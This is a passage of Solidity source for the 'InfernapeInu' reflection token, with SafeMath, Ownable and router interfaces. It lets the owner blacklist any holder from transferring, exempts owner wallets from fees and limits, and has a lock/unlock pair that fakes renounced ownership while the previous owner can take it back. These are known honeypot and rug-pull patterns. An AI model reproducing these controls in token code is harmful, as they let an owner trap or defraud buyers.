this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = _msgSender();
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
// pragma solidity >=0.5.0;
interface IPancakeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IPancakePair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IPancakeRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IPancakeRouter02 is IPancakeRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract InfernapeInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "InfernapeInu";
string private _symbol = "INFI";
uint8 private _decimals = 9;
uint256 public _taxFee = 2;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 8; //(3% liquidityAddition + 5% marketting/buyback)
uint256 private _previousLiquidityFee = _liquidityFee;
address [] public tokenHolder;
uint256 public numberOfTokenHolders = 0;
mapping(address => bool) public exist;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
mapping (address => bool) private bots;
mapping (address => bool) private _isBlacklisted;
// limit
uint256 public _maxTxAmount = 7500000000000 * 10**2 * 10**9; //1.5% after 50% burn
address payable wallet;
address payable rewardsWallet;
IPancakeRouter02 public pancakeRouter;
address public pancakePair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 private minTokensBeforeSwap = 8;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () public {
_rOwned[_msgSender()] = _rTotal;
wallet = payable(0x8F7F7caf862817474F37a859f848296ADb5c4c20);
rewardsWallet= payable(0x8F7F7caf862817474F37a859f848296ADb5c4c20);
// uniswap router
address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
// bsc router
// address routerAddress = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
//bsc testnet
// address routerAddress = 0xD99D1c33F9fC3444f8101754aBC46c52416550D1;
pancakeRouter = IPancakeRouter02(routerAddress);
// Create a pancake pair for this new token
pancakePair = IPancakeFactory(pancakeRouter.factory()).createPair(
address(this),
pancakeRouter.WETH()
);
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[wallet] = true;
_isExcludedFromFee[rewardsWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
function isBlackListed(address account) public view returns (bool) {
return _isBlackListedBot[account];
}
function blacklistSingleWallet(address addresses) public onlyOwner(){
if(_isBlacklisted[addresses] == true) return;
_isBlacklisted[addresses] = true;
}
function blacklistMultipleWallets(address[] calldata addresses) public onlyOwner(){
for (uint256 i; i < addresses.length; ++i) {
_isBlacklisted[addresses[i]] = true;
}
}
function isBlacklisted(address addresses) public view returns (bool){
if(_isBlacklisted[addresses] == true) return true;
else return false;
}
function unBlacklistSingleWallet(address addresses) external onlyOwner(){
if(_isBlacklisted[addresses] == false) return;
_isBlacklisted[addresses] = false;
}
function unBlacklistMultipleWallets(address[] calldata addresses) public onlyOwner(){
for (uint256 i; i < addresses.length; ++i) {
_isBlacklisted[addresses[i]] = false;
}
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude pancake router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
bool public limit = false;
function changeLimit() public onlyOwner(){
require(limit == true, 'limit is already false');
limit = false;
}
function expectedRewards(address _sender) external view returns(uint256){
uint256 _balance = address(this).balance;
address sender = _sender;
uint256 holdersBal = balanceOf(sender);
uint totalExcludedBal;
for(uint256 i = 0; i<_excluded.length; i++){
totalExcludedBal = balanceOf(_excluded[i]).add(totalExcludedBal);
}
uint256 rewards = holdersBal.mul(_balance).div(_tTotal.sub(balanceOf(pancakePair)).sub(totalExcludedBal));
return rewards;
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlackListedBot[to], "You have no power here!");
require(!_isBlackListedBot[from], "You have no power here!");
require(_isBlacklisted[from] == false || to == address(0), "You are banned");
require(_isBlacklisted[to] == false, "The recipient is banned");
if(limit == true && from != owner() && to != owner()){
if(to != pancakePair){
require(((balanceOf(to).add(amount)) <= 500 ether));
}
require(amount <= 100 ether, 'Transfer amount must be less than 100 tokens');
}
if(from != owner() && to != owner())
require(amount <= _maxTxAmount);
// if(owner() != to && pancakePair != to){
// require(balanceOf(to).add(amount) <= _maxWalletSize, 'Balance is exceeding Max Wallet Size');
// }
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is pancake pair.
if(!exist[to]){
tokenHolder.push(to);
numberOfTokenHolders++;
exist[to] = true;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= minTokensBeforeSwap;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != pancakePair &&
swapAndLiquifyEnabled
) {
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
mapping(address => uint256) public myRewards;
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 forLiquidity = contractTokenBalance.div(3);
uint256 devExp = contractTokenBalance.div(3);
uint256 forRewards = contractTokenBalance.div(3);
// split the liquidity
uint256 half = forLiquidity.div(2);
uint256 otherHalf = forLiquidity.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half.add(devExp).add(forRewards)); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 Balance = address(this).balance.sub(initialBalance);
uint256 oneThird = Balance.div(3);
wallet.transfer(oneThird);
rewardsWallet.transfer(oneThird);
// for(uint256 i = 0; i < numberOfTokenHolders; i++){
// uint256 share = (balanceOf(tokenHolder[i]).mul(ethFees)).div(totalSupply());
// myRewards[tokenHolder[i]] = myRewards[tokenHolder[i]].add(share);
//}
// add liquidity to pancake
addLiquidity(otherHalf, oneThird);
emit SwapAndLiquify(half, oneThird, otherHalf);
}
function BNBBalance() external view returns(uint256){
return address(this).balance;
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the pancake pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = pancakeRouter.WETH();
_approve(address(this), address(pancakeRouter), tokenAmount);
// make the swap
pancakeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(pancakeRouter), tokenAmount);
// add the liquidity
pancakeRouter.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
